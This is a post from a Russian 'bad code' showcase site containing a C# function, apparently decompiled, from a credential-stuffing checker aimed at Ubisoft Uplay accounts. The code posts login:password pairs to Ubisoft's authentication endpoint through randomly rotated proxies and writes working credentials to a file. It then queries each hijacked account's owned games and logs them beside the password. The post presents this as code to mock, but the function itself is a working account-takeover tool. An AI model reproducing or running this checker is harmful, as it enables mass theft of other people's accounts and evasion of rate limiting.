1. C# / Говнокод #18482

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    public void probnik(string login, string pass)
            {
                EventHandler method = null;
                try
                {
                    string str = string.Empty;
                    int num = 0;
                    CookieCollection cookies = new CookieCollection();
                Label_0033:
                    try
                    {
                        IProxy proxy;
                        if (this.useproxy.Checked)
                        {
                            goto Label_00A2;
                        }
                        string str5 = "POST";
                        CookieCollection cookies3 = cookies;
                        str = Convert.ToString(VkRequest.Request("https://authentication-ui.ubi.com/?genomeId=78443d75-7a0e-461f-aa64-edf2be804ce2&lang=en-GB&nextUrl=http%3A%2F%2Fuplay.ubi.com%2Fen-GB%2Findex%2Floggedin&revalidate=True", "__RequestVerificationToken=&Email=" + login + "&AuthPassword=" + pass + "&RememberMe=false", str5, false, false, cookies3, null, new HTTPHeaderItem[0]).Headers);
                    Label_0089:
                        if (str.Contains("Set-Cookie") || (num == 1))
                        {
                            goto Label_011C;
                        }
                        num++;
                        goto Label_0033;
                    Label_00A2:
                        proxy = this.proxies[this.r.Next(this.proxies.Count)];
                        CookieCollection cookies2 = cookies;
                        string str4 = "POST";
                        str = Convert.ToString(VkRequest.Request("https://authentication-ui.ubi.com/?genomeId=78443d75-7a0e-461f-aa64-edf2be804ce2&lang=en-GB&nextUrl=http%3A%2F%2Fuplay.ubi.com%2Fen-GB%2Findex%2Floggedin&revalidate=True", "__RequestVerificationToken=&Email=" + login + "&AuthPassword=" + pass + "&RememberMe=false", str4, false, false, cookies2, proxy, new HTTPHeaderItem[0]).Headers);
                        goto Label_0089;
                    }
                    catch
                    {
                        goto Label_0033;
                    }
                Label_011C:
                    if (str.Contains("UBIAuth"))
                    {
                        if (method == null)
                        {
                            method = delegate(object sender, EventArgs e)
                            {
                                this.goodslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.goodslabel.Text) + 1));
                                File.AppendAllText(Program.time + "//UBI(в который зашел аккаунт).txt", login + ":" + pass + "\r\n");
                            };
                        } //смотрим какие игры
                        base.Invoke(method);
                        string str7 = "GET";
                        CookieCollection cookies4 = cookies;
                        HTTPHeaderItem[] additionalHeaders = new HTTPHeaderItem[] { 
                        new HTTPHeaderItem("X-Requested-With", "XMLHttpRequest"), 
                        new HTTPHeaderItem("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104")
                        };
                        string str3 = Convert.ToString(VkRequest.Request("http://uplay.ubi.com/en-GB/games/get-games/filterType/owned/filterValue/onlyOwned", (string)null, str7, false, false, cookies4, null, additionalHeaders).Content);
     
                        string games = string.Empty;
                        string platform = string.Empty;
     
                        if (str3.Contains("name"))
                        {
                            games = this.parse(str3, "\"g2wEnabled\":\"1\",\"name\":\"", "\"", "");
                            platform = parse(str3, "platforms\":", ",\"", "");
     
                            Invoke(new EventHandler(delegate
                            {
                                if (soundgood.Checked)
                                {
                                    System.Console.Beep(1000, 500);
                                }
                                int k = games.Split('\n').Count();
                                this.GridLog.Rows.Add(new object[] { login, pass, k.ToString() });
                                File.AppendAllText(Program.time + "//с игрой.txt", login + ":" + pass + "\r\n" + " ====Games====" + "\r\n" + games + "|" + platform + "\r\n" + " ==============" + "\r\n");
                                this.checks.Text = Convert.ToString((int)(Convert.ToInt32(this.checks.Text) + 1));
                            }));
                        }
                        else
                        {
                            Invoke(new EventHandler(delegate
                            {
                                this.badslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.badslabel.Text) + 1));
                            }));
                        }
     
     
                    }
                    else
                    {
                        Invoke(new EventHandler(delegate
                        {
                            this.badslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.badslabel.Text) + 1));
                        }));
                    }
                }
                catch
                {
                }
            }

    Отсылаем Get-запросы

    Запостил: Psilon, 15 Июля 2015

    Комментарии (0) RSS

    Добавить комментарий

    Ошибка компиляции комментария:
    1. Гости могут высказаться только в понедельник, среду, четверг или воскресение
    ava Где здесь C++, guest?!
    А не использовать ли нам bbcode?
    • [b]жирный[/b] — жирный
    • [i]курсив[/i] — курсив
    • [u]подчеркнутый[/u] — подчеркнутый
    • [s]перечеркнутый[/s] — перечеркнутый
    • [blink]мигающий[/blink] — мигающий
    • [color=red]цвет[/color] — цвет (подробнее)
    • [size=20]размер[/size] — размер (подробнее)
    • [code=<language>]some code[/code] (подробнее)
    Проверочный код